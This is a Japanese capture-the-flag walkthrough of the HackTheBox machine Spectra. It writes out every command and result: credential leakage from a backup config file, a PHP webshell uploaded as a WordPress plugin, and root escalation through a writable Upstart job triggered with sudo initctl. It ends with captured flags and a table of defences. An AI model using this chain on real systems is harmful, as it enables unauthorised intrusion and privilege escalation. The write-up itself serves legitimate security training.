HackTheBox: Spectra — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http, 3306/mysql
→
22/ssh, 80/http, 3306/mysql
“Issue Tracking”
/main/(WP), /testing/ 発見
→
/main/(WP), /testing/ 発見
/testing/ ディレクトリ列挙
wp-config.php.save漏洩
→
wp-config.php.save漏洩
administrator:devteam01
→
悪意プラグインアップロード
system($_GET[‘cmd’])
→
system($_GET[‘cmd’])
/etc/autologin/passwd
katie:SummerHereWeCome!!
→
katie:SummerHereWeCome!!
SSH → user.txt ✓
→
sudo initctl
test.conf書込 (developers group)
→
test.conf書込 (developers group)
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.90.49 nmap -sV -sC -p 22,80,3306 10.129.90.49
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.1 80/tcp open http nginx 1.17.4 3306/tcp open mysql MySQL (認証なしでのアクセスは不可)
トップページの確認とvhost登録
BASH
curl -s http://10.129.90.49/
RESULT (本検証の実際の出力)
<h1>Issue Tracking</h1> <h2>Until IT set up the Jira we can configure and use this for issue tracking.</h2> <h2><a href="http://spectra.htb/main/index.php">Software Issue Tracker</a></h2> <h2><a href="http://spectra.htb/testing/index.php">Test</a></h2>
🚨
重要発見: ページ内のリンクが
spectra.htbという
vhost名で張られている。/main/(WordPress製のIssue Tracker)と
/testing/(テスト用ディレクトリ)の2つのサブパスが
本マシンの主要な攻撃対象。
BASH
echo "10.129.90.49 spectra.htb" | sudo tee -a /etc/hosts
⚠️
再検証時の落とし穴: 同じKali環境で本マシンを過去に
別インスタンスIPで検証済みの場合、
/etc/hostsに古いIPの
spectra.htb行が残っていることがある。単純な「無条件追記」
実装だと、古い行が優先解決され続け新しいターゲットへ疎通しない
(本検証でも実際にこの状態に遭遇し、古い行を削除してから新しい
1行を書き直す必要があった — Tabby/Academy HTB等でも確認済みの
既知パターン)。
PHASE 2
/testing/ ディレクトリ列挙によるDB資格情報漏洩 & WordPress管理者ログイン
/testing/ ディレクトリの調査
BASH
curl -s http://spectra.htb/testing/
RESULT
Index of /testing [DIR] .. [FILE] wp-config.php.save [FILE] index.php ...
🚨
重要発見:
/testing/にはディレクトリ一覧表示が
有効になっており、エディタの自動バックアップとして残った
wp-config.php.save(.php拡張子ではないため
サーバーに実行されず生ソースのままダウンロード可能)が
直接閲覧できてしまう。
wp-config.php.save の内容確認
BASH
curl -s http://spectra.htb/testing/wp-config.php.save
RESULT (本検証の実際の出力より)
define('DB_NAME', 'wordpress');
define('DB_USER', 'devtest');
define('DB_PASSWORD', 'devteam01');
define('DB_HOST', 'localhost');
✅
資格情報漏洩! データベースパスワード
devteam01が平文で取得できた。ただしユーザー名
devtestはWordPressのDB接続用であり、WP管理画面の
ログインユーザー名としては通らない(DBユーザーと
WP管理者アカウントは別物)。
WordPress管理者としてのログイン
NOTE
devtestではなくWordPressの既定の管理者アカウント名"administrator"に 対して、漏洩したパスワードをそのまま試す(パスワード使い回しの推測)。
BASH
# 1. testcookie設定のためwp-login.phpへGET curl -s -c cookies.txt http://spectra.htb/main/wp-login.php > /dev/null # 2. ログインPOST curl -s -b cookies.txt -c cookies.txt -X POST \ http://spectra.htb/main/wp-login.php \ --data-urlencode "log=administrator" \ --data-urlencode "pwd=devteam01" \ --data-urlencode "wp-submit=Log In" \ --data-urlencode "redirect_to=http://spectra.htb/main/wp-admin/" \ --data-urlencode "testcookie=1"
✅
ログイン成功!
administrator:devteam01で
WordPress管理画面(/main/wp-admin/)へのアクセス権を獲得。
PHASE 3
悪意あるプラグインアップロードによるRCE & user.txt取得
Webシェルプラグインの作成
NOTE
WordPress管理者権限があれば、プラグイン管理画面からZIP形式の プラグインをアップロード・有効化でき、プラグイン内のPHPコードが そのままサーバー上で実行される(WordPressの正規機能を悪用したRCE)。
PHP (wp-maintenance.php の内容)
<?php /* Plugin Name: wp-maintenance */ system($_GET["cmd"]); ?>
BASH (ZIP化、ディレクトリ名はwp-maintenance/でなければならない)
mkdir wp-maintenance cp wp-maintenance.php wp-maintenance/ zip -r wp-maintenance.zip wp-maintenance/
プラグインのアップロード & 有効化
NOTE
プラグインアップロードにはWordPress管理画面のCSRFトークン(_wpnonce)が 必要。まず「プラグインを追加」画面からnonceを取得し、 multipart/form-dataでZIPをupdate.php?action=upload-pluginへPOSTする。
BASH
# nonce取得 NONCE=$(curl -s -b cookies.txt http://spectra.htb/main/wp-admin/plugin-install.php \ | grep -oP '(?<=name="_wpnonce" value=")[^"]+') # アップロード curl -s -b cookies.txt -X POST \ "http://spectra.htb/main/wp-admin/update.php?action=upload-plugin" \ -F "_wpnonce=$NONCE" \ -F "pluginzip=@wp-maintenance.zip;type=application/zip"
RESULT (本検証の実際の出力より)
upload nonce = 'cf26a134e1' plugin uploaded successfully
Webシェル経由RCE確認
BASH
curl -s "http://spectra.htb/main/wp-content/plugins/wp-maintenance/wp-maintenance.php?cmd=id"
RESULT (本検証の実際の出力)
uid=20155(nginx) gid=20156(nginx) groups=20156(nginx)
✅
RCE成功! プラグインは
wp-maintenance/ディレクトリ
配下に設置される点に注意(wp-maintenance-main/ではない)。
ChromeOS特有の自動ログイン資格情報の窃取
NOTE
本マシンはChromeOS系の機能を模した構成になっており、通常のUbuntuで 使われる/etc/shadow等の代わりに、/etc/autologin/passwd というChromeOS 特有のパスに自動ログイン用パスワードが平文保存されている。 (PDF記載の/backupsパスは本検証のインスタンスでは存在せず、 こちらの経路が実際に機能する確実な経路だった。)
BASH
curl -s "http://spectra.htb/main/wp-content/plugins/wp-maintenance/wp-maintenance.php?cmd=cat+/etc/autologin/passwd"
RESULT (本検証の実際の出力)
SummerHereWeCome!!
SSHログイン & user.txt取得
BASH
sshpass -p 'SummerHereWeCome!!' ssh katie@10.129.90.49 \ "cat /home/katie/user.txt"
RESULT
e89d27fe195e9114ffa72ba8913a6130
ℹ️
自動ログイン用パスワードが一般ユーザー
katieのSSHパスワードと
一致した(ChromeOS系デバイスでは単一ユーザーの自動ログイン想定の
設計のため)。katieはdevelopersグループに
所属しており、これが次フェーズの伏線になる。
user.txt — katie
e89d27fe195e9114ffa72ba8913a6130
PHASE 4
sudo initctl + Upstartジョブ悪用 — root.txt取得
sudo権限とtest.confの発見
BASH
sudo -l ls -la /etc/init/test.conf
RESULT (本検証の実際の出力)
User katie may run the following commands on spectra:
(ALL) SETENV: NOPASSWD: /sbin/initctl
-rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test.conf
🚨
重要発見:
katieはsudoで
initctl(Upstartのジョブ制御コマンド)をパスワード無しで無制限に
実行可能。さらに/etc/init/test.conf(Upstartジョブ定義)
はroot:developers所有でグループ書込可能——
katieはdevelopersグループに所属しているため
このファイルを直接書き換えられる。
Upstartジョブ定義の書き換え
NOTE
Upstartのジョブ定義は "start on <イベント名>" という形式でトリガー条件を 指定する。initctl emitで任意のイベント名を発行させることができ、 そのイベント名を待ち受けるジョブのexecコマンドがroot権限(initは root権限のPID 1相当プロセス)で実行される。
BASH (SSHシェル上で実行)
printf 'start on pwn\ntask\nexec cat /root/root.txt > /tmp/r00t.txt\n' > /etc/init/test.conf cat /etc/init/test.conf
RESULT
start on pwn task exec cat /root/root.txt > /tmp/r00t.txt
initctl emit でジョブをトリガー & root.txt取得
BASH
sudo /sbin/initctl emit pwn cat /tmp/r00t.txt
RESULT (本検証の実際の出力)
d44519713b889d5e1f9e536d0c6df2fc
✅
root化成功!
initctl emit pwnにより
test.confのstart on pwn条件が成立し、
exec行がroot権限で実行され、/root/root.txtが
/tmp/r00t.txtへコピーされた。
root.txt — sudo initctl + test.conf Upstartジョブ悪用
d44519713b889d5e1f9e536d0c6df2fc
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — katie
e89d27fe195e9114ffa72ba8913a6130
root.txt — sudo initctl + test.conf Upstartジョブ悪用
d44519713b889d5e1f9e536d0c6df2fc
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| バックアップファイルのディレクトリ列挙 | /testing/wp-config.php.save | データベース資格情報の漏洩 | High | ディレクトリ一覧表示が有効な/testing/配下で.save拡張子の設定ファイルを直接取得 |
| WordPressプラグイン機能のRCE悪用 | /main/wp-admin/ (管理者権限) | リモートコード実行 (nginxユーザー) | Critical | system()呼び出しを含む悪意あるプラグインをZIPでアップロード・自動実行 |
| ChromeOS自動ログインパスワードの平文保存 | /etc/autologin/passwd | 一般ユーザーパスワードの漏洩 | High | RCE経由でファイルを読取り、同一パスワードがSSHログインにも流用 |
| sudo無制限initctl + グループ書込可能なUpstartジョブ定義 | /sbin/initctl (sudo) + /etc/init/test.conf | 権限昇格 (root) | Critical | ジョブ定義ファイルを書き換えinitctl emitでroot権限のコマンド実行をトリガー |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap, vhost発見 | 22/ssh, 80/http, 3306/mysql |
| 2 | 資格情報漏洩 | /testing/ディレクトリ列挙 → wp-config.php.save | administrator:devteam01 (パスワード使い回し推測) |
| 3 | RCE+横移動 | 悪意プラグインアップロード → /etc/autologin/passwd → SSH | user.txt (katie) |
| 4 | 権限昇格 | sudo initctl + test.conf書換 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| テスト用ディレクトリでディレクトリ一覧表示が有効なまま、設定ファイルのバックアップ(.save)が残っている | 本番サーバーでディレクトリ一覧表示を無効化し、エディタのバックアップファイルはWebルート外または削除を徹底する。 |
| WordPress管理者パスワードがDB接続パスワードと同一(パスワード使い回し) | 用途ごとに独立したパスワードを発行し、使い回しを組織的に禁止する。 |
| WordPress管理画面が信頼できる管理者のみに制限されておらず任意コード実行可能なプラグインをインストールできる | 管理者アカウントへのMFA導入、プラグインインストールの承認フロー整備、ファイル整合性監視を実施する。 |
| 自動ログイン用パスワードが平文ファイルに保存され一般ユーザーのSSHパスワードとも共用されている | 自動ログイン機能自体の必要性を見直し、使うとしても暗号化保存・専用の制限されたアカウントに限定する。 |
| 一般ユーザーがsudoで無制限にinitctlを実行でき、かつジョブ定義ファイルがグループ書込可能 | sudo権限は特定のジョブ名・オプションに限定する。Upstart/systemdのジョブ定義ファイルは適切な権限(root専用書込)で保護する。 |

